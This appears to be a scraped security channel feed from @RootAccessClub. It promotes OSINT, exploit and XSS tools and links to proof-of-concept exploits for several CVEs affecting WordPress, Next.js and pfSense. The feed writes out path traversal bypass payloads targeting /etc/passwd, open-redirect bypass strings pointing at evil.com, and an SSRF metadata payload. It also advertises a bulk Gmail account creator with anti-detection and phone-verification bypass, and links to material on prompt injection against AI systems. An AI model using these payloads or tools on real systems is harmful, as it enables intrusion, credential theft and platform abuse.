Osintgram 👥

An open source OSINT framework for Instagram reconnaissance and information gathering 🔎

Key Features:

• Profile & content analysis
• Followers / Following analysis
• Hashtag & location searches
• Media and metadata analysis
• Account comparison
• Interactive Web UI
• AI assisted mode with local Ollama support
• JSON & HTML report generation

GitHub 🔗

⚠️ Use responsibly and only with data you are authorized to investigate

💎 @RootAccessClub

WordPress Critical RCE 🚨

CVE-2026-87902 | CVSS 9.2 🫯

A critical unauthenticated path traversal vulnerability in WordPress Core can, under specific conditions, lead to Remote Code Execution (RCE) through page template resolution 💣

Affected versions span 4.7 → 7.1.1 🦠

🛡️ Fix: Update to the latest patched WordPress release for your branch

GitHub 🔗

@RootAccessClub

CVE-2026-87902 🧪

WordPress unauthenticated LFI → conditional RCE 💉

Github 📎

⚠️ Authorized security testing, education, and defensive research only

💠 @RootAccessClub

CVE-2026-87902 🪤

PoC for CVE-2026-87902 – unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab

GitHub 🔗

⚠️ Authorized security testing, education, and defensive research only

💎 @RootAccessClub

CVE-2026-87902 – Nuclei Template 🧩

Github 🌐

⚠️ Authorized security testing, education, and defensive research only

⚡️@RootAccessClub

Prompt Injection in the Wild 💉

A look at real world In Page Prompt Injection attacks, where malicious instructions are hidden inside web content and processed by AI systems

Link 🔗

@RootAccessClub

AutoPWN Suite ⚡️

An automated penetration testing framework designed to streamline reconnaissance, vulnerability discovery, and security testing ✨

• Nmap-based network & service enumeration
• CVE & vulnerability discovery
• Automated exploit searching
• Web vulnerability testing
• Directory enumeration
• Web UI + REST API
• Scan scheduling & automation
• Email / Webhook notifications
• Optional evasion techniques

GitHub 🔗

🌪 @RootAccessClub

Relapse – PS5 Jailbreak Exploit 🎮

A new exploit chain called Relapse has been released, targeting PS5 firmware versions 7.00 through 13.60 🎯

🔹 WebKit Exploit
🔹 Kernel Exploit
🔹 Execution of unofficial payloads
🔹 Support for payloads such as kstuff and etaHEN

When successfully executed, Relapse can enable a Jailbreak environment and allow execution of unofficial code and payloads on the PS5 💥

⚠️ Check your console's firmware version before attempting anything

GitHub 🔗

🪎 @RootAccessCLUB

Path Traversal Bypasses ⚡️

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

⭐️ @RootAccessClub

Open redirects filter bypass payloads 💥

---->\/evil.com
---->\/\/evil.com
---->\\evil.com
----//evil.com
---->//theirsite@evil.com
---->////evil.com
----//google%E3%80%82com
---->//%2F/evil.com
---->////evil.com
---->/%2F/yoururl.com

🪎 @RootAccessClub

Toxssin – An XSS exploitation command line interface and payload generator 🫯

toxssin is an open source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js) 🦠

GitHub 🌐

💎 @RootAccessClub

Claude Kit 🛡️

A powerful open-source toolkit for bug bounty hunters, built to improve vulnerability reporting with Claude Code 🤖

Write better reports. Validate findings. Avoid common mistakes ⚡

GitHub 🌐

@RootAccessClub ⭐️

SSRF ☄

payload:
[](http://metadata+url)

🌊 @RootAccessClub

🔹 pfSense Firewall 0day — 5 RCEs

▫️Exploit :

1⃣ Link

2⃣ Link

3⃣ Link

4⃣ Link

5⃣ Link


▪️Writeups :

1⃣ Link

2⃣ Link

3⃣ Link

4⃣ Link

5⃣ Link

⚠️ For educational and authorized security research purposes only

🆒 @RootAccessClub

Thanks fam 🫶
Massive thanks for the reactions and shares, Your support keeps this channel alive

CVE-2026-96889 – Next.js RCE 🫯

Nextjs

GitHub

GitHub

GitHub

⚡️@RootAccessClub

How to use Gemini CLI for Bug Bounty research: analyse evidence, validate manually 🫆

Read 📚

🪎 @RootAccessClub

CVE-2026-89079 – Theme My Login (WordPress multisite) 🧪

Security research tooling for CVE-2026-89079: unauthenticated account takeover on WordPress multisite when Theme My Login ≤ 7.2.1 has network option tml_user_passwords enabled 🧬

🟥 Affected : ≤ 7.2.1
🟩 Fixed : 7.2.2+
♨️ CVSS : 9.8 (Critical)

GitHub 🌐

🔰 @RootAccessClub

CVE-2025-29009 – WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin ☢

Webkul Medical Prescription Attachment — Unrestricted File Upload → Web Shell

🔴 Affected : All versions ≤ 1.2.3

🆘 CVSS : 10

GitHub 🔗

🛡@RootAccessClub

🚀 Gmail Creator Pro v2.1 — Bulk Gmail Account Creator

Python tool with a slick terminal UI 🔥

✅ Anti-detection & random user agents
✅ Phone verification bypass + 5sim API
✅ Proxy rotation
✅ Live stats & auto-save to JSON
✅ Auto-retry on failure

⚙️ Windows • Python 3.8+ • Chrome

🔗 GitHub

⚠️ Educational use only — violates Google ToS.

📢 @RootAccessClub

❄️ SubZer0 – Noise in. Priority out

Thousands of new CVEs every month
Only a few actually matter — SubZer0 shows you which ones to patch first

🔴 KEV · EPSS · PoC · Metasploit · Nuclei — all in one view
🔐 SHA-256 verified · auto-refreshed every 6h
⚡️ Free · no sign-up · no tracking

🌐 iliya-bashrc.github.io/SubZer0
💻 github.com/iliya-bashrc/SubZer0

💎 @RootAccessClub × @BugCod3